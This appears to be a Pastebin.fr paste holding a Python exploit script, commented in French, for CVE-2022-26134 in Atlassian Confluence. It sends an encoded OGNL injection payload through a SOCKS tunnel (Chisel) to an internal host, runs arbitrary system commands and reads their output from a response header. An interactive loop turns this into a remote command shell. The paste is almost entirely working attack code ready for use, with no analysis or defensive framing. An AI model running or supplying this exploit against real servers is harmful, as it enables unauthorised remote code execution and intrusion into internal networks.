Logo Pastebin.fr
Pastebin

Retrouvez, créez et partagez vos snippets en temps réel.

test

import requests
import sys
import urllib.parse
import urllib3

# Désactiver les avertissements de certificat SSL
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# --- CONFIGURATION ---
# L'IP de ta cible (telle que vue à travers le tunnel)
TARGET_URL = "http://192.168.2.20:8090"

# Ton proxy SOCKS local (Chisel)
PROXIES = {
    'http': 'socks5h://127.0.0.1:1080',
    'https': 'socks5h://127.0.0.1:1080'
}
# Note: 'socks5h' signifie que la résolution DNS se fait via le proxy (plus discret/stable)

def send_command(command):
    # On encapsule la commande pour éviter les erreurs d'espaces ou de caractères
    # On utilise un payload OGNL CVE-2022-26134 qui injecte le résultat dans le header X-Cmd-Response
    
    # Encodage de la commande pour l'URL
    cmd_encoded = command # Dans certains cas, il faut double encoder, on teste simple d'abord
    
    # Le Payload OGNL "Magique"
    # Il exécute la commande et renvoie le flux (stdout) dans le header de réponse
    payload = "%24%7B%28%23a%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%22" + \
              urllib.parse.quote(command) + \
              "%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.@com.opensymphony.webwork.ServletActionContext@getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%7D/"

    full_url = f"{TARGET_URL}/{payload}"

    try:
        # allow_redirects=False est VITAL. La donnée est dans la réponse 302, pas dans la page finale.
        r = requests.get(full_url, proxies=PROXIES, verify=False, allow_redirects=False, timeout=15)
        
        if "X-Cmd-Response" in r.headers:
            return r.headers["X-Cmd-Response"]
        else:
            return f"[-] Pas de résultat. Code retour: {r.status_code}. Peut-être que la commande ne renvoie rien ou a échoué."
            
    except Exception as e:
        return f"[!] Erreur de connexion : {e}"

def main():
    print(f"[*] Connexion au shell Confluence sur {TARGET_URL} via SOCKS...")
    print("[*] CVE-2022-26134 Exploit - Type 'exit' to quit")
    
    # Test initial
    print("[*] Test de connexion (id)...")
    res = send_command("id")
    print(f"Réponse: {res}\n")

    if "uid=" in res:
        print("[+] SUCCÈS ! Shell interactif ouvert.")
    else:
        print("[-] Attention : Le test 'id' n'a pas retourné d'uid. L'exploit peut ne pas fonctionner.")

    # Boucle interactive
    while True:
        try:
            cmd = input("Confluence-Shell$ ")
            if cmd.strip().lower() in ['exit', 'quit']:
                break
            if not cmd.strip():
                continue
                
            output = send_command(cmd)
            print(output)
            
        except KeyboardInterrupt:
            print("\nSortie.")
            break

if __name__ == "__main__":
    main()

Créé il y a 1 semaine.

Rechercher un Pastebin

Aucun paste trouvé.